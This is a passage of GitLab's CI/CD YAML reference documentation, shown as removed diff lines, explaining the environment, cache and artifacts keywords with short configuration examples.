-After the job completes, you can access the URL by using a button in the merge request,
-environment, or deployment pages.
-
-You can assign a value to the `url` keyword by using:
-
-- Plain text, like `https://prod.example.com`.
-- Variables, including CI/CD variables, predefined, secure, or variables
- defined in the `.gitlab-ci.yml` file.
-
-You can't use variables defined in a `script` section.
-
-#### `environment:on_stop`
-
-Closing (stopping) environments can be achieved with the `on_stop` keyword
-defined under `environment`. It declares a different job that runs to close the
-environment.
-
-Read the `environment:action` section for an example.
-
-#### `environment:action`
-
-Use the `action` keyword to specify jobs that prepare, start, or stop environments.
-
-| **Value** | **Description** |
-|-----------|---------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `start` | Default value. Indicates that job starts the environment. The deployment is created after the job starts. |
-| `prepare` | Indicates that the job is only preparing the environment. It does not trigger deployments. [Read more about preparing environments](../environments/index.md#prepare-an-environment-without-creating-a-deployment). |
-| `stop` | Indicates that job stops deployment. See the example below. |
-
-Take for instance:
-
-```yaml
-review_app:
- stage: deploy
- script: make deploy-app
- environment:
- name: review/$CI_COMMIT_REF_NAME
- url: https://$CI_ENVIRONMENT_SLUG.example.com
- on_stop: stop_review_app
-
-stop_review_app:
- stage: deploy
- variables:
- GIT_STRATEGY: none
- script: make delete-app
- when: manual
- environment:
- name: review/$CI_COMMIT_REF_NAME
- action: stop
-```
-
-In the above example, the `review_app` job deploys to the `review`
-environment. A new `stop_review_app` job is listed under `on_stop`.
-After the `review_app` job is finished, it triggers the
-`stop_review_app` job based on what is defined under `when`. In this case,
-it is set to `manual`, so it needs a [manual action](#whenmanual) from
-the GitLab UI to run.
-
-Also in the example, `GIT_STRATEGY` is set to `none`. If the
-`stop_review_app` job is [automatically triggered](../environments/index.md#stopping-an-environment),
-the runner won't try to check out the code after the branch is deleted.
-
-The example also overwrites global variables. If your `stop` `environment` job depends
-on global variables, use [anchor variables](#yaml-anchors-for-variables) when you set the `GIT_STRATEGY`
-to change the job without overriding the global variables.
-
-The `stop_review_app` job is **required** to have the following keywords defined:
-
-- `when`, defined at either:
- - [The job level](#when).
- - [In a rules clause](#rules). If you use `rules:` and `when: manual`, you should
- also set [`allow_failure: true`](#allow_failure) so the pipeline can complete
- even if the job doesn't run.
-- `environment:name`
-- `environment:action`
-
-Additionally, both jobs should have matching [`rules`](#only--except)
-or [`only/except`](#only--except) configuration.
-
-In the examples above, if the configuration is not identical:
-
-- The `stop_review_app` job might not be included in all pipelines that include the `review_app` job.
-- It is not possible to trigger the `action: stop` to stop the environment automatically.
-
-#### `environment:auto_stop_in`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/20956) in GitLab 12.8.
-
-The `auto_stop_in` keyword is for specifying the lifetime of the environment,
-that when expired, GitLab automatically stops them.
-
-For example,
-
-```yaml
-review_app:
- script: deploy-review-app
- environment:
- name: review/$CI_COMMIT_REF_NAME
- auto_stop_in: 1 day
-```
-
-When the environment for `review_app` is created, the environment's lifetime is set to `1 day`.
-Every time the review app is deployed, that lifetime is also reset to `1 day`.
-
-For more information, see
-[the environments auto-stop documentation](../environments/index.md#stop-an-environment-after-a-certain-time-period)
-
-#### `environment:kubernetes`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/27630) in GitLab 12.6.
-
-Use the `kubernetes` keyword to configure deployments to a
-[Kubernetes cluster](../../user/project/clusters/index.md) that is associated with your project.
-
-For example:
-
-```yaml
-deploy:
- stage: deploy
- script: make deploy-app
- environment:
- name: production
- kubernetes:
- namespace: production
-```
-
-This configuration sets up the `deploy` job to deploy to the `production`
-environment, using the `production`
-[Kubernetes namespace](https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/).
-
-For more information, see
-[Available settings for `kubernetes`](../environments/index.md#configure-kubernetes-deployments).
-
-NOTE:
-Kubernetes configuration is not supported for Kubernetes clusters
-that are [managed by GitLab](../../user/project/clusters/index.md#gitlab-managed-clusters).
-To follow progress on support for GitLab-managed clusters, see the
-[relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/38054).
-
-#### `environment:deployment_tier`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/300741) in GitLab 13.10.
-
-Use the `deployment_tier` keyword to specify the tier of the deployment environment:
-
-```yaml
-deploy:
- script: echo
- environment:
- name: customer-portal
- deployment_tier: production
-```
-
-For more information,
-see [Deployment tier of environments](../environments/index.md#deployment-tier-of-environments).
-
-#### Dynamic environments
-
-Use CI/CD [variables](../variables/README.md) to dynamically name environments.
-
-For example:
-
-```yaml
-deploy as review app:
- stage: deploy
- script: make deploy
- environment:
- name: review/$CI_COMMIT_REF_NAME
- url: https://$CI_ENVIRONMENT_SLUG.example.com/
-```
-
-The `deploy as review app` job is marked as a deployment to dynamically
-create the `review/$CI_COMMIT_REF_NAME` environment. `$CI_COMMIT_REF_NAME`
-is a [CI/CD variable](../variables/README.md) set by the runner. The
-`$CI_ENVIRONMENT_SLUG` variable is based on the environment name, but suitable
-for inclusion in URLs. If the `deploy as review app` job runs in a branch named
-`pow`, this environment would be accessible with a URL like `https://review-pow.example.com/`.
-
-The common use case is to create dynamic environments for branches and use them
-as Review Apps. You can see an example that uses Review Apps at
-<https://gitlab.com/gitlab-examples/review-apps-nginx/>.
-
-### `cache`
-
-Use `cache` to specify a list of files and directories to
-cache between jobs. You can only use paths that are in the local working copy.
-
-If `cache` is defined outside the scope of jobs, it's set
-globally and all jobs use that configuration.
-
-Caching is shared between pipelines and jobs. Caches are restored before [artifacts](#artifacts).
-
-Read how caching works and find out some good practices in the
-[caching dependencies documentation](../caching/index.md).
-
-#### `cache:paths`
-
-Use the `paths` directive to choose which files or directories to cache. Paths
-are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly link outside it.
-You can use Wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming))
-patterns and:
-
-- In [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620) and later,
-[`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match).
-- In GitLab Runner 12.10 and earlier,
-[`filepath.Match`](https://pkg.go.dev/path/filepath#Match).
-
-Cache all files in `binaries` that end in `.apk` and the `.config` file:
-
-```yaml
-rspec:
- script: test
- cache:
- paths:
- - binaries/*.apk
- - .config
-```
-
-Locally defined cache overrides globally defined options. The following `rspec`
-job caches only `binaries/`:
-
-```yaml
-cache:
- paths:
- - my/files
-
-rspec:
- script: test
- cache:
- key: rspec
- paths:
- - binaries/
-```
-
-The cache is shared between jobs, so if you're using different
-paths for different jobs, you should also set a different `cache:key`.
-Otherwise cache content can be overwritten.
-
-#### `cache:key`
-
-The `key` keyword defines the affinity of caching between jobs.
-You can have a single cache for all jobs, cache per-job, cache per-branch,
-or any other way that fits your workflow. You can fine tune caching,
-including caching data between different jobs or even different branches.
-
-The `cache:key` variable can use any of the
-[predefined variables](../variables/README.md). The default key, if not
-set, is just literal `default`, which means everything is shared between
-pipelines and jobs by default.
-
-For example, to enable per-branch caching:
-
-```yaml
-cache:
- key: "$CI_COMMIT_REF_SLUG"
- paths:
- - binaries/
-```
-
-If you use **Windows Batch** to run your shell scripts you need to replace
-`$` with `%`:
-
-```yaml
-cache:
- key: "%CI_COMMIT_REF_SLUG%"
- paths:
- - binaries/
-```
-
-The `cache:key` variable can't contain the `/` character, or the equivalent
-URI-encoded `%2F`. A value made only of dots (`.`, `%2E`) is also forbidden.
-
-You can specify a [fallback cache key](#fallback-cache-key) to use if the specified `cache:key` is not found.
-
-##### Multiple caches
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32814) in GitLab 13.10.
-> - [Feature Flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/321877), in GitLab 13.12.
-
-You can have a maximum of four caches:
-
-```yaml
-test-job:
- stage: build
- cache:
- - key:
- files:
- - Gemfile.lock
- paths:
- - vendor/ruby
- - key:
- files:
- - yarn.lock
- paths:
- - .yarn-cache/
- script:
- - bundle install --path=vendor
- - yarn install --cache-folder .yarn-cache
- - echo Run tests...
-```
-
-If multiple caches are combined with a [Fallback cache key](#fallback-cache-key),
-the fallback is fetched multiple times if multiple caches are not found.
-
-#### Fallback cache key
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1534) in GitLab Runner 13.4.
-
-You can use the `$CI_COMMIT_REF_SLUG` [variable](#variables) to specify your [`cache:key`](#cachekey).
-For example, if your `$CI_COMMIT_REF_SLUG` is `test` you can set a job
-to download cache that's tagged with `test`.
-
-If a cache with this tag is not found, you can use `CACHE_FALLBACK_KEY` to
-specify a cache to use when none exists.
-
-In the following example, if the `$CI_COMMIT_REF_SLUG` is not found, the job uses the key defined
-by the `CACHE_FALLBACK_KEY` variable:
-
-```yaml
-variables:
- CACHE_FALLBACK_KEY: fallback-key
-
-cache:
- key: "$CI_COMMIT_REF_SLUG"
- paths:
- - binaries/
-```
-
-##### `cache:key:files`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18986) in GitLab v12.5.
-
-The `cache:key:files` keyword extends the `cache:key` functionality by making it easier
-to reuse some caches, and rebuild them less often, which speeds up subsequent pipeline
-runs.
-
-When you include `cache:key:files`, you must also list the project files that are used to generate the key, up to a maximum of two files.
-The cache `key` is a SHA checksum computed from the most recent commits (up to two, if two files are listed)
-that changed the given files. If neither file is changed in any commits,
-the fallback key is `default`.
-
-```yaml
-cache:
- key:
- files:
- - Gemfile.lock
- - package.json
- paths:
- - vendor/ruby
- - node_modules
-```
-
-This example creates a cache for Ruby and Node.js dependencies that
-is tied to current versions of the `Gemfile.lock` and `package.json` files. Whenever one of
-these files changes, a new cache key is computed and a new cache is created. Any future
-job runs that use the same `Gemfile.lock` and `package.json` with `cache:key:files`
-use the new cache, instead of rebuilding the dependencies.
-
-##### `cache:key:prefix`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18986) in GitLab v12.5.
-
-When you want to combine a prefix with the SHA computed for `cache:key:files`,
-use the `prefix` keyword with `key:files`.
-For example, if you add a `prefix` of `test`, the resulting key is: `test-feef9576d21ee9b6a32e30c5c79d0a0ceb68d1e5`.
-If neither file is changed in any commits, the prefix is added to `default`, so the
-key in the example would be `test-default`.
-
-Like `cache:key`, `prefix` can use any of the [predefined variables](../variables/README.md),
-but cannot include:
-
-- the `/` character (or the equivalent URI-encoded `%2F`)
-- a value made only of `.` (or the equivalent URI-encoded `%2E`)
-
-```yaml
-cache:
- key:
- files:
- - Gemfile.lock
- prefix: ${CI_JOB_NAME}
- paths:
- - vendor/ruby
-
-rspec:
- script:
- - bundle exec rspec
-```
-
-For example, adding a `prefix` of `$CI_JOB_NAME`
-causes the key to look like: `rspec-feef9576d21ee9b6a32e30c5c79d0a0ceb68d1e5` and
-the job cache is shared across different branches. If a branch changes
-`Gemfile.lock`, that branch has a new SHA checksum for `cache:key:files`. A new cache key
-is generated, and a new cache is created for that key.
-If `Gemfile.lock` is not found, the prefix is added to
-`default`, so the key in the example would be `rspec-default`.
-
-#### `cache:untracked`
-
-Set `untracked: true` to cache all files that are untracked in your Git
-repository:
-
-```yaml
-rspec:
- script: test
- cache:
- untracked: true
-```
-
-Cache all Git untracked files and files in `binaries`:
-
-```yaml
-rspec:
- script: test
- cache:
- untracked: true
- paths:
- - binaries/
-```
-
-#### `cache:when`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18969) in GitLab 13.5 and GitLab Runner v13.5.0.
-
-`cache:when` defines when to save the cache, based on the status of the job. You can
-set `cache:when` to:
-
-- `on_success` (default): Save the cache only when the job succeeds.
-- `on_failure`: Save the cache only when the job fails.
-- `always`: Always save the cache.
-
-For example, to store a cache whether or not the job fails or succeeds:
-
-```yaml
-rspec:
- script: rspec
- cache:
- paths:
- - rspec/
- when: 'always'
-```
-
-#### `cache:policy`
-
-The default behavior of a caching job is to download the files at the start of
-execution, and to re-upload them at the end. Any changes made by the
-job are persisted for future runs. This behavior is known as the `pull-push` cache
-policy.
-
-If you know the job does not alter the cached files, you can skip the upload step
-by setting `policy: pull` in the job specification. You can add an ordinary cache
-job at an earlier stage to ensure the cache is updated from time to time:
-
-```yaml
-stages:
- - setup
- - test
-
-prepare:
- stage: setup
- cache:
- key: gems
- paths:
- - vendor/bundle
- script:
- - bundle install --deployment
-
-rspec:
- stage: test
- cache:
- key: gems
- paths:
- - vendor/bundle
- policy: pull
- script:
- - bundle exec rspec ...
-```
-
-Use the `pull` policy when you have many jobs executing in parallel that use caches. This
-policy speeds up job execution and reduces load on the cache server.
-
-If you have a job that unconditionally recreates the cache without
-referring to its previous contents, you can skip the download step.
-To do so, add `policy: push` to the job.
-
-### `artifacts`
-
-Use `artifacts` to specify a list of files and directories that are
-attached to the job when it [succeeds, fails, or always](#artifactswhen).
-
-The artifacts are sent to GitLab after the job finishes. They are
-available for download in the GitLab UI if the size is not
-larger than the [maximum artifact size](../../user/gitlab_com/index.md#gitlab-cicd).
-
-By default, jobs in later stages automatically download all the artifacts created
-by jobs in earlier stages. You can control artifact download behavior in jobs with
-[`dependencies`](#dependencies).
-
-When using the [`needs`](#artifact-downloads-with-needs) keyword, jobs can only download
-artifacts from the jobs defined in the `needs` configuration.
-
-Job artifacts are only collected for successful jobs by default, and
-artifacts are restored after [caches](#cache).
-
-[Read more about artifacts](../pipelines/job_artifacts.md).
-
-#### `dependencies`
-
-By default, all `artifacts` from previous stages
-are passed to each job. However, you can use the `dependencies` keyword to
-define a limited list of jobs to fetch artifacts from. You can also set a job to download no artifacts at all.
-
-To use this feature, define `dependencies` in context of the job and pass
-a list of all previous jobs the artifacts should be downloaded from.
-
-You can define jobs from stages that were executed before the current one.
-An error occurs if you define jobs from the current or an upcoming stage.
-
-To prevent a job from downloading artifacts, define an empty array.
-
-When you use `dependencies`, the status of the previous job is not considered.
-If a job fails or it's a manual job that isn't triggered, no error occurs.
-
-The following example defines two jobs with artifacts: `build:osx` and
-`build:linux`. When the `test:osx` is executed, the artifacts from `build:osx`
-are downloaded and extracted in the context of the build. The same happens
-for `test:linux` and artifacts from `build:linux`.
-
-The job `deploy` downloads artifacts from all previous jobs because of
-the [stage](#stages) precedence:
-
-```yaml
-build:osx:
- stage: build
- script: make build:osx
- artifacts:
- paths:
- - binaries/
-
-build:linux:
- stage: build
- script: make build:linux
- artifacts:
- paths:
- - binaries/
-
-test:osx:
- stage: test
- script: make test:osx
- dependencies:
- - build:osx
-
-test:linux:
- stage: test
- script: make test:linux
- dependencies:
- - build:linux
-
-deploy:
- stage: deploy
- script: make deploy
-```
-
-##### When a dependent job fails
-
-> Introduced in GitLab 10.3.
-
-If the artifacts of the job that is set as a dependency are
-[expired](#artifactsexpire_in) or
-[deleted](../pipelines/job_artifacts.md#delete-job-artifacts), then
-the dependent job fails.
-
-#### `artifacts:exclude`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15122) in GitLab 13.1
-> - Requires GitLab Runner 13.1
-
-`exclude` makes it possible to prevent files from being added to an artifacts
-archive.
-
-Similar to [`artifacts:paths`](#artifactspaths), `exclude` paths are relative
-to the project directory. You can use Wildcards that use
-[glob](https://en.wikipedia.org/wiki/Glob_(programming)) or
-[`doublestar.PathMatch`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#PathMatch) patterns.
-
-For example, to store all files in `binaries/`, but not `*.o` files located in
-subdirectories of `binaries/`:
-
-```yaml
-artifacts:
- paths:
- - binaries/
- exclude:
- - binaries/**/*.o
-```
-
-Unlike [`artifacts:paths`](#artifactspaths), `exclude` paths are not recursive. To exclude all of the contents of a directory, you can match them explicitly rather than matching the directory itself.
-
-For example, to store all files in `binaries/` but nothing located in the `temp/` subdirectory:
-
-```yaml
-artifacts:
- paths:
- - binaries/
- exclude:
- - binaries/temp/**/*
-```
-
-Files matched by [`artifacts:untracked`](#artifactsuntracked) can be excluded using
-`artifacts:exclude` too.
-
-#### `artifacts:expire_in`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16267) in GitLab 13.0 behind a disabled feature flag, the latest job artifacts are kept regardless of expiry time.
-> - [Made default behavior](https://gitlab.com/gitlab-org/gitlab/-/issues/229936) in GitLab 13.4.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241026) in GitLab 13.8, keeping latest job artifacts can be disabled at the project level.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276583) in GitLab 13.9, keeping latest job artifacts can be disabled instance-wide.
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/321323) in GitLab 13.12, the latest pipeline artifacts are kept regardless of expiry time.
-
-Use `expire_in` to specify how long [job artifacts](../pipelines/job_artifacts.md) are stored before
-they expire and are deleted. The `expire_in` setting does not affect:
-
-- Artifacts from the latest job, unless this keeping the latest job artifacts is:
- - [Disabled at the project level](../pipelines/job_artifacts.md#keep-artifacts-from-most-recent-successful-jobs).
- - [Disabled instance-wide](../../user/admin_area/settings/continuous_integration.md#keep-the-latest-artifacts-for-all-jobs-in-the-latest-successful-pipelines).
-- [Pipeline artifacts](../pipelines/pipeline_artifacts.md). It's not possible to specify an
- expiration date for these:
- - Pipeline artifacts from the latest pipeline are kept forever.
- - Other pipeline artifacts are erased after one week.
-
-The value of `expire_in` is an elapsed time in seconds, unless a unit is provided. Valid values
-include:
-
-- `'42'`
-- `42 seconds`
-- `3 mins 4 sec`
-- `2 hrs 20 min`
-- `2h20min`
-- `6 mos 1 day`
-- `47 yrs 6 mos and 4d`
-- `3 weeks and 2 days`
-- `never`
-
-To expire artifacts one week after being uploaded:
-
-```yaml
-job:
- artifacts:
- expire_in: 1 week
-```
-
-The expiration time period begins when the artifact is uploaded and stored on GitLab. If the expiry
-time is not defined, it defaults to the
-[instance wide setting](../../user/admin_area/settings/continuous_integration.md#default-artifacts-expiration)
-(30 days by default).
-
-To override the expiration date and protect artifacts from being automatically deleted:
-
-- Use the **Keep** button on the job page.
-- [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/22761), set the value of
- `expire_in` to `never`.
-
-After their expiry, artifacts are deleted hourly by default (using a cron job), and are not
-accessible anymore.
-
-#### `artifacts:expose_as`
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15018) in GitLab 12.5.
-
-Use the `expose_as` keyword to expose [job artifacts](../pipelines/job_artifacts.md)
-in the [merge request](../../user/project/merge_requests/index.md) UI.
-
-For example, to match a single file:
-
-```yaml
-test:
- script: ["echo 'test' > file.txt"]
- artifacts:
- expose_as: 'artifact 1'
- paths: ['file.txt']
-```
-
-With this configuration, GitLab adds a link **artifact 1** to the relevant merge request
-that points to `file1.txt`. To access the link, select **View exposed artifact**
-below the pipeline graph in the merge request overview.
-
-An example that matches an entire directory:
-
-```yaml
-test:
- script: ["mkdir test && echo 'test' > test/file.txt"]
- artifacts:
- expose_as: 'artifact 1'
- paths: ['test/']
-```
-
-Note the following:
-
-- Artifacts do not display in the merge request UI when using variables to define the `artifacts:paths`.
-- A maximum of 10 job artifacts per merge request can be exposed.
-- Glob patterns are unsupported.
-- If a directory is specified, the link is to the job [artifacts browser](../pipelines/job_artifacts.md#download-job-artifacts) if there is more than
- one file in the directory.
-- For exposed single file artifacts with `.html`, `.htm`, `.txt`, `.json`, `.xml`,
- and `.log` extensions, if [GitLab Pages](../../administration/pages/index.md) is:
- - Enabled, GitLab automatically renders the artifact.
- - Not enabled, the file is displayed in the artifacts browser.
-
-#### `artifacts:name`
-
-Use the `name` directive to define the name of the created artifacts
-archive. You can specify a unique name for every archive. The `artifacts:name`
-variable can make use of any of the [predefined variables](../variables/README.md).
-The default name is `artifacts`, which becomes `artifacts.zip` when you download it.
-
-To create an archive with a name of the current job:
-
-```yaml
-job:
- artifacts:
- name: "$CI_JOB_NAME"
- paths:
- - binaries/
-```
-
-To create an archive with a name of the current branch or tag including only
-the binaries directory:
-
-```yaml
-job:
- artifacts:
- name: "$CI_COMMIT_REF_NAME"
- paths:
- - binaries/
-```
-
-If your branch-name contains forward slashes
-(for example `feature/my-feature`) it's advised to use `$CI_COMMIT_REF_SLUG`
-instead of `$CI_COMMIT_REF_NAME` for proper naming of the artifact.
-
-To create an archive with a name of the current job and the current branch or
-tag including only the binaries directory:
-
-```yaml
-job:
- artifacts:
- name: "$CI_JOB_NAME-$CI_COMMIT_REF_NAME"
- paths:
- - binaries/
-```
-
-To create an archive with a name of the current [stage](#stages) and branch name:
-
-```yaml
-job:
- artifacts:
- name: "$CI_JOB_STAGE-$CI_COMMIT_REF_NAME"
- paths:
- - binaries/
-```
-
----
-
-If you use **Windows Batch** to run your shell scripts you need to replace
-`$` with `%`:
-
-```yaml
-job:
- artifacts:
- name: "%CI_JOB_STAGE%-%CI_COMMIT_REF_NAME%"
- paths:
- - binaries/
-```
-
-If you use **Windows PowerShell** to run your shell scripts you need to replace
-`$` with `$env:`:
-
-```yaml
-job:
- artifacts:
- name: "$env:CI_JOB_STAGE-$env:CI_COMMIT_REF_NAME"
- paths:
- - binaries/
-```
-
-#### `artifacts:paths`
-
-Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly
-link outside it. You can use Wildcards that use [glob](https://en.wikipedia.org/wiki/Glob_(programming))
-patterns and:
-
-- In [GitLab Runner 13.0](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2620) and later,
-[`doublestar.Glob`](https://pkg.go.dev/github.com/bmatcuk/doublestar@v1.2.2?tab=doc#Match).
-- In GitLab Runner 12.10 and earlier,
-[`filepath.Match`](https://pkg.go.dev/path/filepath#Match).
-
-To restrict which jobs a specific job fetches artifacts from, see [dependencies](#dependencies).
-
-Send all files in `binaries` and `.config`:
-
-```yaml
-artifacts:
- paths:
- - binaries/
- - .config
-```
-
-To disable artifact passing, define the job with empty [dependencies](#dependencies):
-
-```yaml
-job:
- stage: build
- script: make build
- dependencies: []
-```
-
-You may want to create artifacts only for tagged releases to avoid filling the
-build server storage with temporary build artifacts.
-
-Create artifacts only for tags (`default-job` doesn't create artifacts):
-
-```yaml
-default-job:
- script:
- - mvn test -U
- rules:
- - if: $CI_COMMIT_BRANCH
-
-release-job:
- script:
- - mvn package -U
- artifacts:
- paths:
- - target/*.war
- rules:
- - if: $CI_COMMIT_TAG
-```
-
-You can use wildcards for directories too. For example, if you want to get all the files inside the directories that end with `xyz`:
-
-```yaml
-job:
- artifacts:
- paths:
- - path/*xyz/*
-```
-
-#### `artifacts:public`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49775) in GitLab 13.8
-> - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's recommended for production use.
-
-Use `artifacts:public` to determine whether the job artifacts should be
-publicly available.
-
-The default for `artifacts:public` is `true` which means that the artifacts in
-public pipelines are available for download by anonymous and guest users:
-
-```yaml
-artifacts:
- public: true
-```
-
-To deny read access for anonymous and guest users to artifacts in public
-pipelines, set `artifacts:public` to `false`:
-
-```yaml
-artifacts:
- public: false
-```
-
-#### `artifacts:reports`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2.
-> - Requires GitLab Runner 11.2 and above.
-
-Use [`artifacts:reports`](#artifactsreports)
-to collect test reports, code quality reports, and security reports from jobs.
-It also exposes these reports in the GitLab UI (merge requests, pipeline views, and security dashboards).
-
-The test reports are collected regardless of the job results (success or failure).
-You can use [`artifacts:expire_in`](#artifactsexpire_in) to set up an expiration
-date for their artifacts.
-
-If you also want the ability to browse the report output files, include the
-[`artifacts:paths`](#artifactspaths) keyword.
-
-##### `artifacts:reports:api_fuzzing` **(ULTIMATE)**
-
-> - Introduced in GitLab 13.4.
-> - Requires GitLab Runner 13.4 or later.
-
-The `api_fuzzing` report collects [API Fuzzing bugs](../../user/application_security/api_fuzzing/index.md)
-as artifacts.
-
-The collected API Fuzzing report uploads to GitLab as an artifact and is summarized in merge
-requests and the pipeline view. It's also used to provide data for security dashboards.
-
-##### `artifacts:reports:cobertura`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3708) in GitLab 12.9.
-> - Requires [GitLab Runner](https://docs.gitlab.com/runner/) 11.5 and above.
-
-The `cobertura` report collects [Cobertura coverage XML files](../../user/project/merge_requests/test_coverage_visualization.md).
-The collected Cobertura coverage reports upload to GitLab as an artifact
-and display in merge requests.
-
-Cobertura was originally developed for Java, but there are many
-third party ports for other languages like JavaScript, Python, Ruby, and so on.
-
-##### `artifacts:reports:codequality`
-
-> - Introduced in GitLab 11.5.
-> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2.
-> - Requires GitLab Runner 11.5 and above.
-
-The `codequality` report collects [Code Quality issues](../../user/project/merge_requests/code_quality.md)
-as artifacts.
-
-The collected Code Quality report uploads to GitLab as an artifact and is summarized in merge requests.
-
-##### `artifacts:reports:container_scanning` **(ULTIMATE)**
-
-> - Introduced in GitLab 11.5.
-> - Requires GitLab Runner 11.5 and above.
-
-The `container_scanning` report collects [Container Scanning vulnerabilities](../../user/application_security/container_scanning/index.md)
-as artifacts.
-
-The collected Container Scanning report uploads to GitLab as an artifact and
-is summarized in merge requests and the pipeline view. It's also used to provide data for security
-dashboards.
-
-##### `artifacts:reports:coverage_fuzzing` **(ULTIMATE)**
-
-> - Introduced in GitLab 13.4.
-> - Requires GitLab Runner 13.4 or later.
-
-The `coverage_fuzzing` report collects [coverage fuzzing bugs](../../user/application_security/coverage_fuzzing/index.md)
-as artifacts.
-
-The collected coverage fuzzing report uploads to GitLab as an artifact and is summarized in merge
-requests and the pipeline view. It's also used to provide data for security dashboards.
-
-##### `artifacts:reports:dast` **(ULTIMATE)**
-
-> - Introduced in GitLab 11.5.
-> - Requires GitLab Runner 11.5 and above.
-
-The `dast` report collects [DAST vulnerabilities](../../user/application_security/dast/index.md)
-as artifacts.
-
-The collected DAST report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security
-dashboards.
-
-##### `artifacts:reports:dependency_scanning` **(ULTIMATE)**
-
-> - Introduced in GitLab 11.5.
-> - Requires GitLab Runner 11.5 and above.
-
-The `dependency_scanning` report collects [Dependency Scanning vulnerabilities](../../user/application_security/dependency_scanning/index.md)
-as artifacts.
-
-The collected Dependency Scanning report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security
-dashboards.
-
-##### `artifacts:reports:dotenv`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17066) in GitLab 12.9.
-> - Requires GitLab Runner 11.5 and later.
-
-The `dotenv` report collects a set of environment variables as artifacts.
-
-The collected variables are registered as runtime-created variables of the job,
-which is useful to [set dynamic environment URLs after a job finishes](../environments/index.md#set-dynamic-environment-urls-after-a-job-finishes).
-
-There are a couple of exceptions to the [original dotenv rules](https://github.com/motdotla/dotenv#rules):
-
-- The variable key can contain only letters, digits, and underscores (`_`).
-- The maximum size of the `.env` file is 5 KB.
-- In GitLab 13.5 and older, the maximum number of inherited variables is 10.
-- In [GitLab 13.6 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/247913),
- the maximum number of inherited variables is 20.
-- Variable substitution in the `.env` file is not supported.
-- The `.env` file can't have empty lines or comments (starting with `#`).
-- Key values in the `env` file cannot have spaces or newline characters (`\n`), including when using single or double quotes.
-- Quote escaping during parsing (`key = 'value'` -> `{key: "value"}`) is not supported.
-
-##### `artifacts:reports:junit`
-
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20390) in GitLab 11.2.
-> - Requires GitLab Runner 11.2 and above.
-
-The `junit` report collects [JUnit report format XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html)
-as artifacts. Although JUnit was originally developed in Java, there are many
-third party ports for other
-languages like JavaScript, Python, Ruby, and so on.
-
-See [Unit test reports](../unit_test_reports.md) for more details and examples.
-Below is an example of collecting a JUnit report format XML file from Ruby's RSpec test tool:
-
-```yaml
-rspec:
- stage: test
- script:
- - bundle install
- - rspec --format RspecJunitFormatter --out rspec.xml
- artifacts:
- reports:
- junit: rspec.xml
-```
-
-The collected Unit test reports upload to GitLab as an artifact and display in merge requests.
-
-If the JUnit tool you use exports to multiple XML files, specify
-multiple test report paths within a single job to
-concatenate them into a single file. Use a filename pattern (`junit: rspec-*.xml`),
-an array of filenames (`junit: [rspec-1.xml, rspec-2.xml, rspec-3.xml]`), or a
-combination thereof (`junit: [rspec.xml, test-results/TEST-*.xml]`).
-
-##### `artifacts:reports:license_scanning` **(ULTIMATE)**
-
-> - Introduced in GitLab 12.8.
-> - Requires GitLab Runner 11.5 and above.
-
-The `license_scanning` report collects [Licenses](../../user/compliance/license_compliance/index.md)
-as artifacts.
-
-The License Compliance report uploads to GitLab as an artifact and displays automatically in merge requests and the pipeline view, and provide data for security
-dashboards.
-
-##### `artifacts:reports:load_performance` **(PREMIUM)**
-
-> - Introduced in [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35260) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.
-> - Requires GitLab Runner 11.5 and above.
-
-The `load_performance` report collects [Load Performance Testing metrics](../../user/project/merge_requests/load_performance_testing.md)
-as artifacts.
-
-The report is uploaded to GitLab as an artifact and is
-shown in merge requests automatically.
-
-##### `artifacts:reports:metrics` **(PREMIUM)**
-
-> Introduced in GitLab 11.10.
-
-The `metrics` report collects [Metrics](../metrics_reports.md)
-as artifacts.
-
-The collected Metrics report uploads to GitLab as an artifact and displays in merge requests.
-
